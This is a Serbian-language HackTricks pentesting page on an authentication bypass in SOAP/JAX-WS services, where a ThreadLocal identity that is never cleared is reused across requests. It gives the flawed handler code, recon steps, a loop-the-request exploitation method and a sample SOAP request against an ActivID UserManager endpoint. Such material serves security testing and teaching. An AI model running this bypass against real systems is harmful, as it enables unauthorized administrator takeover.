SOAP/JAX-WS ThreadLocal Authentication Bypass
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
TL;DR
- Neki middleware lanci čuvaju autentifikovani
Subject/Principalunutar statičkogThreadLocali osvežavaju ga samo kada stigne proprietarni SOAP header. - Pošto WebLogic/JBoss/GlassFish recikliraju radničke niti, izostavljanje tog header-a dovodi do toga da poslednji privilegovani
Subjectobrađen u toj niti bude tiho ponovo korišćen. - Napadajte ranjivi endpoint slanjem zahteva bez header-a, ali sa dobro formiranim SOAP telima, sve dok ponovo korišćena nit ne dodeli ukradeni administratorski kontekst.
Osnovni uzrok
Handler-i slični sledećem prepisuju identitet u thread-local samo kada je prilagođeni header prisutan, tako da kontekst prethodnog zahteva preživi:
public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}
Recon
- Enumerišite reverse proxy / routing pravila da locirate skrivene SOAP strukture koje mogu blokirati
?wsdlali prihvataju POST-ove (mapirajte ih uz tok u 80,443 - Pentesting Web Methodology). - Raspakujte EAR/WAR/EJB artefakte (
unzip *.ear) i pregledajteapplication.xml,web.xml,@WebServiceanotacije i handler chains (npr.LoginHandlerChain.xml) da otkrijete handler klasu, SOAP header QName i imena pozadinskih EJB-ova. - Ako metadata nedostaje, brute-force-ujte verovatne
ServiceName?wsdlputanje ili privremeno opustite lab proxy-je, zatim importujte bilo koji oporavljeni WSDL u alate kao što je Burp Suite Wsdler da generišete osnovne envelope. - Pregledajte handler izvore za
ThreadLocalčuvare (npr.SubjectHolder.setSubject()) koji se nikada ne brišu kada autentifikacioni header nedostaje ili je neispravan.
Exploitation
- Pošaljite validan zahtev sa proprietarnim header-om da saznate normalne response kodove i eventualne greške koje se koriste za nevažeće tokene.
- Ponovo pošaljite isti SOAP body dok izostavljate header. Održavajte XML dobro-formiranim i poštujte potrebne namespaces kako bi handler uredno izašao.
- Loop-ujte zahtev; kada dospe na thread koji je ranije izvršio privilegovanu akciju, ponovo upotrebljen
Subjectotključava zaštićene operacije poput user ili credential manager-a.
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>
Potvrđivanje buga
- Poveži JDWP (
-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) ili slične debugging hooks da nadgledaš sadržajThreadLocalpre i posle svakog poziva, potvrđujući da je neautentifikovani zahtev nasledio prethodni administratorskiSubject.
Reference
- Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002
- PortSwigger – Wsdler (WSDL parser) extension
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


